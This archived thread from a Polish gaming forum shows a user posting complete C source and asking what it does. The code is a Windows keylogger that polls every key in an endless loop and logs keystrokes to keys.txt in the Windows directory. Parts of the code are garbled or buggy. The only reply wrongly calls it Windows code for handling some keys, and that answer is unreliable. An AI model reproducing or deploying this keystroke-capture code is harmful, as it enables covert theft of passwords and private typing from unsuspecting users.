Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Do czego jest ten kod xd?


Rekomendowane odpowiedzi

Opublikowano

Do czego służy ten kod?


001 #include <stdio.h>

002 #include <windows.h>

003 #include <Winuser.h>

004

005

006 void keys(int key,char *file)

007 {

008

009 FILE *key_file;

010

011 key_file = fopen(file,"a+");

012

013

014

015 if (key==8)

016

017 fprintf(key_file,"%s","[del]");

018

019 if (key==13)

020

021 fprintf(key_file,"%s","\n");

022

023 if (key==32)

024

025 fprintf(key_file,"%s"," ");

026

027 if (key==VK_CAPITAL)

028

029 fprintf(key_file,"%s","[Caps]");

030

031 if (key==VK_TAB)

032

033 fprintf(key_file,"%s","[TAB]");

034

035 if (key ==VK_SHIFT)

036

037 fprintf(key_file,"%s","[SHIFT]");

038

039 if (key ==VK_CONTROL)

040

041 fprintf(key_file,"%s","[CTRL]");

042

043 if (key ==VK_PAUSE)

044

045 fprintf(key_file,"%s","[PAUSE]");

046

047 if (key ==VK_KANA)

048

049 fprintf(key_file,"%s","[Kana]");

050

051 if (key ==VK_ESCAPE)

052

053 fprintf(key_file,"%s","[ESC]");

054

055 if (key ==VK_END)

056

057 fprintf(key_file,"%s","[END]");

058

059 if (key==VK_HOME)

060

061 fprintf(key_file,"%s","[HOME]");

062

063 if (key ==VK_LEFT)

064

065 fprintf(key_file,"%s","

");

066

067 if (key ==VK_UP)

068

069 fprintf(key_file,"%s","[UP]");

070

071 if (key ==VK_RIGHT)

072

073 fprintf(key_file,"%s","

");

074

075 if (key ==VK_DOWN)

076

077 fprintf(key_file,"%s","[DOWN]");

078

079 if (key ==VK_SNAPSHOT)

080

081 fprintf(key_file,"%s","[PRINT]");

082

083 if (key ==VK_NUMLOCK)

084

085 fprintf(key_file,"%s","[NUM LOCK]");

086

087 if (key ==190 || key==110)

088

089 fprintf(key_file,"%s",".");

090

091 if (key >=96 && key <= 105){

092

093 key = key - 48;

094

095 fprintf(key_file,"%s",&key);

096

097 }

098

099 if (key >=48 && key <= 59)

100

101 fprintf(key_file,"%s",&key);

102

103

104

105 if (key !=VK_LBUTTON || key !=VK_RBUTTON){

106

107 if (key >=65 && key <=90){

108

109 if (GetKeyState(VK_CAPITAL))

110

111 fprintf(key_file,"%s",&key);

112 else

113

114 {

115

116 key = key +32;

117

118 fprintf(key_file,"%s",&key);

119

120 }

121 }

122

123 }

124

125 fclose(key_file);

126

127

128

129

130

131 }

132

133 int main()

134 {

135

136

137

138 char i;

139

140

141 char test[MAX_PATH];

142 GetWindowsDirectory(test,sizeof(test));

143 strcat(test,"//keys.txt");

144

145 while(1){

146

147 for(i=8;i<=190;i++){

148

149 if (GetAsyncKeyState(i) == -32767)

150

151 {

152

153

154 keys (i,test);

155

156

157

158 }

159 }

160

161 }

162

163 }

Pirze poprafnie po polskiemó

Opublikowano

Skąd ty wziołeś kod Windowsa - Niektórych klawiszy

 

PS: Nie jestem pewien

Pomagam w tworzeniu for IPB za darmo. Trzy letnie doświadczenie.

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...